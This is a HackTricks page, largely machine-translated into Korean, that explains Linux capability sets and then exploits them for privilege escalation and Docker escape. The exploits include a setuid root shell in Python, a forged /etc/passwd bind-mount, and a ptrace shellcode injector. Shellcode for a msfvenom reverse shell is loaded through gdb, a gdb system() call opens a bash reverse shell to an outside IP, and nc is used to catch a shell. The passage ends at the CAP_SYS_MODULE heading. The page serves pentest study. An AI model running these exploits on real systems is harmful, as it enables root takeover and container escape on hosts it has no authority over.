hacktricks/linux-hardening/privilege-escalation/linux-capabilities.md

74 KiB
Raw Blame History

Linux Capabilities

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %} {% endhint %}

​​​​​​​​​RootedCON은 슀페읞에서 가장 ꎀ렚성읎 높은 사읎버 볎안 읎벀튞읎며 유럜에서 가장 쀑요한 행사 쀑 하나입니닀. Ʞ술 지식을 쎉진하는 임묎륌 가지고 있는 읎 회의는 몚든 분알의 Ʞ술 및 사읎버 볎안 전묞가듀읎 몚읎는 뜚거욎 만낚의 장소입니닀.\

{% embed url="https://www.rootedcon.com/" %}

Linux Capabilities

Linux capabilities는 룚튞 권한을 더 작고 구별된 닚위로 나누얎, 프로섞슀가 권한의 하위 집합을 가질 수 있도록 합니닀. 읎는 불필요하게 전첎 룚튞 권한을 부여하지 않음윌로썚 위험을 최소화합니닀.

묞제:

  • 음반 사용자는 제한된 권한을 가지고 있얎, 룚튞 접귌읎 필요한 넀튞워크 소쌓을 여는 작업에 영향을 믞칩니닀.

권한 집합:

  1. 상속된 (CapInh):
  • 목적: 부몚 프로섞슀에서 전달된 권한을 결정합니닀.
  • Ʞ능: 새로욎 프로섞슀가 생성될 때, 읎 집합에서 부몚로부터 권한을 상속받습니닀. 프로섞슀 생성 간 특정 권한을 유지하는 데 유용합니닀.
  • 제한: 프로섞슀는 부몚가 가지지 않은 권한을 얻을 수 없습니닀.
  1. 유횚한 (CapEff):
  • 목적: 프로섞슀가 현재 사용하는 싀제 권한을 나타냅니닀.
  • Ʞ능: 닀양한 작업에 대한 권한을 부여하Ʞ 위핎 컀널읎 확읞하는 권한 집합입니닀. 파음의 겜우, 읎 집합은 파음의 허용된 권한읎 유횚한지 여부륌 나타낮는 플래귞가 될 수 있습니닀.
  • 의의: 유횚한 집합은 슉각적읞 권한 확읞에 쀑요하며, 프로섞슀가 사용할 수 있는 활성 권한 집합윌로 작용합니닀.
  1. 허용된 (CapPrm):
  • 목적: 프로섞슀가 가질 수 있는 최대 권한 집합을 정의합니닀.
  • Ʞ능: 프로섞슀는 허용된 집합에서 유횚한 집합윌로 권한을 상승시킬 수 있윌며, 핎당 권한을 사용할 수 있게 됩니닀. 또한 허용된 집합에서 권한을 제거할 수도 있습니닀.
  • 겜계: 프로섞슀가 가질 수 있는 권한의 상한선윌로 작용하여, 프로섞슀가 믞늬 정의된 권한 범위륌 쎈곌하지 않도록 볎장합니닀.
  1. 겜계 (CapBnd):
  • 목적: 프로섞슀가 생애 죌Ʞ 동안 획득할 수 있는 권한에 한계륌 둡니닀.
  • Ʞ능: 프로섞슀가 상속 가능하거나 허용된 집합에서 특정 권한을 가지고 있더띌도, 겜계 집합에 포핚되지 않윌멎 핎당 권한을 획득할 수 없습니닀.
  • 사용 사례: 읎 집합은 프로섞슀의 권한 상승 가능성을 제한하는 데 특히 유용하며, 추가적읞 볎안 계잵을 추가합니닀.
  1. 환겜 (CapAmb):
  • 목적: 특정 권한읎 execve 시슀템 혞출을 통핎 유지될 수 있도록 하여, 음반적윌로 프로섞슀의 권한읎 완전히 쎈Ʞ화되는 결곌륌 쎈래합니닀.
  • Ʞ능: ꎀ렚 파음 권한읎 없는 비-SUID 프로귞랚읎 특정 권한을 유지할 수 있도록 볎장합니닀.
  • 제한: 읎 집합의 권한은 상속 가능 및 허용된 집합의 제앜을 받윌며, 프로섞슀의 허용된 권한을 쎈곌하지 않도록 볎장합니닀.
# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

더 많은 정볎는 닀음을 확읞하섞요:

프로섞슀 및 바읎너늬 Ʞ능

프로섞슀 Ʞ능

특정 프로섞슀의 Ʞ능을 볎렀멎 /proc 디렉토늬의 status 파음을 사용하섞요. 더 많은 섞부정볎륌 제공하므로 Linux Ʞ능곌 ꎀ렚된 정볎로만 제한합시닀.
몚든 싀행 쀑읞 프로섞슀에 대한 Ʞ능 정볎는 슀레드별로 유지되며, 파음 시슀템의 바읎너늬에 대핎서는 확장 속성에 저장됩니닀.

/usr/include/linux/capability.h에서 정의된 Ʞ능을 찟을 수 있습니닀.

현재 프로섞슀의 Ʞ능은 cat /proc/self/status 또는 capsh --print륌 사용하여 확읞할 수 있윌며, 닀륞 사용자의 Ʞ능은 /proc/<pid>/status에서 확읞할 수 있습니닀.

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

읎 명령은 대부분의 시슀템에서 5쀄을 반환핎알 합니닀.

  • CapInh = 상속된 권한
  • CapPrm = 허용된 권한
  • CapEff = 유횚한 권한
  • CapBnd = 겜계 집합
  • CapAmb = 환겜 권한 집합
#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

읎 16진수 숫자는 의믞가 없습니닀. capsh 유틞늬티륌 사용하여 읎륌 권한 읎늄윌로 디윔딩할 수 있습니닀.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

읎제 ping에서 사용되는 capabilities륌 확읞핎 뎅시닀:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

ê·ž 방법도 횚곌적읎지만, 더 쉜고 닀륞 방법읎 있습니닀. 싀행 쀑읞 프로섞슀의 능력을 볎렀멎, getpcaps 도구륌 사용한 닀음 프로섞슀 ID (PID)륌 입력하멎 됩니닀. 프로섞슀 ID 목록을 제공할 수도 있습니닀.

getpcaps 1234

여Ʞ에서 tcpdump의 Ʞ능을 확읞핎 볎겠습니닀. 읎진 파음에 충분한 Ʞ능(cap_net_admin 및 cap_net_raw)을 부여하여 넀튞워크륌 슀니핑합니닀 (tcpdump는 프로섞슀 9562에서 싀행 쀑입니닀):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

죌얎진 능력은 읎진 파음의 능력을 얻는 두 가지 방법의 결곌와 음치합니닀.
getpcaps 도구는 capget() 시슀템 혞출을 사용하여 특정 슀레드에 대한 사용 가능한 능력을 쿌늬합니닀. 읎 시슀템 혞출은 더 많은 정볎륌 얻Ʞ 위핎 PID만 제공하멎 됩니닀.

읎진 파음의 능력

읎진 파음은 싀행 쀑에 사용할 수 있는 능력을 가질 수 있습니닀. 예륌 듀얎, cap_net_raw 능력을 가진 ping 읎진 파음을 찟는 것은 맀우 음반적입니닀:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

You can search binaries with capabilities using:
당신은 능력을 가진 바읎너늬 검색을 사용할 수 있습니닀:

getcap -r / 2>/dev/null

Dropping capabilities with capsh

CAP_NET_RAW 권한을 _ping_에서 제거하멎 ping 유틞늬티가 더 읎상 작동하지 ì•Šì•„ì•Œ 합니닀.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Besides the output of capsh itself, the tcpdump command itself should also raise an error.

/bin/bash: /usr/sbin/tcpdump: 허용되지 않는 작업

The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected.

Remove Capabilities

You can remove capabilities of a binary with

setcap -r </path/to/binary>

User Capabilities

명백히 사용자에게도 권한을 부여할 수 있습니닀. 읎는 아마도 사용자가 싀행하는 몚든 프로섞슀가 사용자의 권한을 사용할 수 있음을 의믞합니닀.
읎것, 읎것 및 읎것을 Ʞ반윌로 특정 권한을 사용자에게 부여하Ʞ 위핎 몇 가지 파음을 구성핎알 하지만, 각 사용자에게 권한을 부여하는 파음은 /etc/security/capability.conf입니닀.
파음 예:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

환겜 능력

닀음 프로귞랚을 컎파음하멎 능력을 제공하는 환겜 낎에서 bash 셞을 생성할 수 있습니닀.

{% code title="ambient.c" %}

/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}

{% endcode %}

gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

컎파음된 환겜 바읎너늬에 의핎 싀행된 bash 낎부에서 새로욎 능력을 ꎀ찰할 수 있습니닀(음반 사용자는 "현재" 섹션에 ì–Žë–€ 능력도 가지지 않습니닀).

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

{% hint style="danger" %} 당신은 허용된 섞튞와 상속 가능한 섞튞 몚두에 졎재하는 능력만 추가할 수 있습니닀. {% endhint %}

능력 읞식/능력 묎시 읎진 파음

능력 읞식 읎진 파음은 환겜에서 제공하는 새로욎 능력을 사용하지 않지만, 능력 묎시 읎진 파음은 읎륌 거부하지 ì•Šêž° 때묞에 사용할 것입니닀. 읎는 능력을 읎진 파음에 부여하는 특별한 환겜 낎에서 능력 묎시 읎진 파음을 췚앜하게 만듭니닀.

서비슀 능력

Ʞ볞적윌로 룚튞로 싀행되는 서비슀는 몚든 능력읎 할당됩니닀, 귞늬고 겜우에 따띌 읎는 위험할 수 있습니닀.
따띌서, 서비슀 구성 파음은 원하는 능력곌 서비슀륌 싀행핎알 하는 사용자륌 지정할 수 있게 하여 불필요한 권한윌로 서비슀륌 싀행하지 않도록 합니닀:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Capabilities in Docker Containers

Ʞ볞적윌로 Docker는 컚테읎너에 몇 가지 Ʞ능을 할당합니닀. 읎러한 Ʞ능읎 묎엇읞지 확읞하는 것은 맀우 쉜습니닀:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

​​​​​​​​​​RootedCON은 슀페읞에서 가장 ꎀ렚성읎 높은 사읎버 볎안 읎벀튞읎며 유럜에서 가장 쀑요한 행사 쀑 하나입니닀. Ʞ술 지식을 쎉진하는 임묎륌 가지고, 읎 컚귞레슀는 몚든 분알의 Ʞ술 및 사읎버 볎안 전묞가듀읎 몚읎는 뜚거욎 만낚의 장소입니닀.

{% embed url="https://www.rootedcon.com/" %}

Privesc/Container Escape

Capabilities는 특권 작업을 수행한 후 자신의 프로섞슀륌 제한하고자 할 때 유용합니닀 (예: chroot륌 섀정하고 소쌓에 바읞딩한 후). 귞러나 악의적읞 명령읎나 읞수륌 전달하여 root로 싀행될 수 있도록 악용될 수 있습니닀.

setcap을 사용하여 프로귞랚에 capabilities륌 강제로 섀정할 수 있윌며, getcap을 사용하여 읎륌 조회할 수 있습니닀:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

+ep는 능력을 추가하고 있음을 의믞합니닀 (“-”는 제거합니닀) 횚곌적읎고 허용된 것윌로.

시슀템읎나 폎더에서 능력을 가진 프로귞랚을 식별하렀멎:

getcap -r / 2>/dev/null

Exploitation example

닀음 예제에서 읎진 파음 /usr/bin/python2.6가 권한 상승에 췚앜한 것윌로 발견되었습니닀:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capabilities needed by tcpdump to allow any user to sniff packets:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

"빈" 능력의 특별한 겜우

묞서에서: 프로귞랚 파음에 빈 능력 집합을 할당할 수 있윌며, 따띌서 싀행하는 프로섞슀의 유횚 및 저장된 set-user-ID륌 0윌로 변겜하지만 핎당 프로섞슀에 능력을 부여하지 않는 set-user-ID-root 프로귞랚을 생성할 수 있습니닀. 간닚히 말핮, 닀음 조걎을 만족하는 바읎너늬가 있닀멎:

  1. root에 의핎 소유되지 않음
  2. SUID/SGID 비튞가 섀정되얎 있지 않음
  3. 빈 능력 집합읎 섀정되얎 있음 (예: getcap myelf가 myelf =ep륌 반환)

귞렇닀멎 핎당 바읎너늬는 root로 싀행됩니닀.

CAP_SYS_ADMIN

**CAP_SYS_ADMIN**은 맀우 강력한 Linux 능력윌로, 장치 마욎튞 또는 컀널 Ʞ능 조작곌 같은 ꎑ범위한 ꎀ늬 권한윌로 읞핎 거의 root 수쀀에 핎당합니닀. 전첎 시슀템을 시뮬레읎션하는 컚테읎너에 필수적읎지만, CAP_SYS_ADMIN은 권한 상승 및 시슀템 손상의 가능성윌로 읞핎 특히 컚테읎너화된 환겜에서 상당한 볎안 묞제륌 알Ʞ합니닀. 따띌서 읎 능력의 사용은 엄격한 볎안 평가와 신쀑한 ꎀ늬가 필요하며, 최소 권한 원칙을 쀀수하고 공격 표멎을 최소화하Ʞ 위핎 애플늬쌀읎션 전용 컚테읎너에서 읎 능력을 제거하는 것읎 강력히 권장됩니닀.

바읎너늬 예제

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

파읎썬을 사용하여 싀제 passwd 파음 위에 수정된 passwd 파음을 마욎튞할 수 있습니닀:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

마지막윌로 수정된 passwd 파음을 /etc/passwd에 mount합니닀:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

귞늬고 당신은 비밀번혞 "password"륌 사용하여 su as root로 전환할 수 있습니닀.

환겜 예시 (Docker 탈출)

닀음 명령얎륌 사용하여 도컀 컚테읎너 낎에서 활성화된 능력을 확읞할 수 있습니닀:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Inside the previous output you can see that the SYS_ADMIN capability is enabled.

  • Mount

읎것은 도컀 컚테읎너가 혞슀튞 디슀크륌 마욎튞하고 자유롭게 접귌할 수 있도록 허용합니닀:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
  • 전첎 ì ‘ê·Œ

읎전 방법에서는 도컀 혞슀튞 디슀크에 접귌할 수 있었습니닀.
혞슀튞가 ssh 서버륌 싀행 쀑읞 겜우, 도컀 혞슀튞 디슀크 낎에 사용자륌 생성하고 SSH륌 통핎 접귌할 수 있습니닀:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

읎것은 혞슀튞에서 싀행 쀑읞 음부 프로섞슀에 쉘윔드륌 죌입하여 컚테읎너륌 탈출할 수 있음을 의믞합니닀. 혞슀튞에서 싀행 쀑읞 프로섞슀에 접귌하렀멎 컚테읎너륌 최소한 --pid=host 옵션윌로 싀행핎알 합니닀.

**CAP_SYS_PTRACE**는 ptrace(2)가 제공하는 디버깅 및 시슀템 혞출 추적 Ʞ능곌 process_vm_readv(2), process_vm_writev(2)와 같은 교찚 메몚늬 첚부 혞출을 사용할 수 있는 능력을 부여합니닀. 진닚 및 몚니터링 목적윌로 강력하지만, ptrace(2)에 대한 seccomp 필터와 같은 제한 조치 없읎 CAP_SYS_PTRACE가 활성화되멎 시슀템 볎안을 심각하게 저핎할 수 있습니닀. 특히, 읎는 seccomp에 의핎 부곌된 닀륞 볎안 제한을 우회하는 데 악용될 수 있윌며, 읎와 같은 개념 슝명(PoC)에서 입슝되었습니닀.

바읎너늬 예제 (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

읎진 파음 예제 (gdb)

gdb와 ptrace 권한:

/usr/bin/gdb = cap_sys_ptrace+ep
msfvenom을 사용하여 메몚늬에 죌입할 쉘윔드륌 생성합니닀.

```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f c

읎 명령은 늬버슀 쉘을 생성합니닀. 생성된 쉘윔드륌 gdb륌 통핎 메몚늬에 죌입할 수 있습니닀.

```python
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"

# Divisible by 8
payload = b"\x90" * (8 - len(buf) % 8 ) + buf

# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"

print(f"set {{long}}($rip+{i}) = {chunks}")
gdb륌 사용하여 룚튞 프로섞슀륌 디버깅하고 읎전에 생성된 gdb 띌읞을 복사하여 붙여넣습니닀:
# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]

환겜 예제 (Docker 탈출) - 또 닀륞 gdb ë‚šìš©

GDB가 섀치되얎 있거나 (apk add gdb 또는 apt install gdb로 섀치할 수 있는 겜우) 혞슀튞에서 프로섞슀륌 디버깅하고 system 핚수륌 혞출하게 할 수 있습니닀. (읎 Ʞ술은 SYS_ADMIN 권한도 필요합니닀).

gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")

명령얎의 출력을 볌 수는 없지만 핎당 프로섞슀에 의핎 싀행됩니닀 (따띌서 rev shell을 얻윌섞요).

{% hint style="warning" %} "현재 컚텍슀튞에 'system' Ʞ혞가 없습니닀."띌는 였류가 발생하멎 gdb륌 통핎 프로귞랚에 쉘윔드륌 로드하는 읎전 예제륌 확읞하섞요. {% endhint %}

환겜 예제 (Docker 탈출) - 쉘윔드 죌입

닀음 명령얎륌 사용하여 도컀 컚테읎너 낎에서 활성화된 Ʞ능을 확읞할 수 있습니닀:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root

List processes running in the host ps -eaf

  1. Get the architecture uname -m
  2. Find a shellcode for the architecture (https://www.exploit-db.com/exploits/41128)
  3. Find a program to inject the shellcode into a process memory (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)
  4. Modify the shellcode inside the program and compile it gcc inject.c -o inject
  5. Inject it and grab your shell: ./inject 299; nc 172.17.0.1 5600

CAP_SYS_MODULE

